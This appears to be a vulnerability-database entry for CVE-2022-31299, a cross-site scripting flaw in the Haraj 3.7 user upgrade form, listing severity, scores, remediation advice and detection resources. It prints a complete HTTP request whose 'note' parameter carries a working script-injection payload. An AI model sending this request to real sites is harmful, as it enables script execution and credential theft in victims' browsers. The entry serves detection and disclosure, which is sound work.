🔙 목록으로 돌아가기

CVE-2022-31299: Haraj 3.7 - Cross-Site Scripting

TitleHaraj 3.7 - Cross-Site Scripting
Authoredoardottt
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationTo remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
CVSS Score6.1
EPSS Score0.37475
CVE IDCVE-2022-31299
CWE IDCWE-79
Tags cve cve2022 haraj xss angtech vuln

🔍 Vulnerability Description

Haraj 3.7 contains a cross-site scripting vulnerability in the User Upgrade Form. An attacker can inject malicious script and thus steal authentication credentials and launch other attacks.

🌐 HTTP Request

GET /payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1&note=%3C/textarea%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31299.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-31299.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A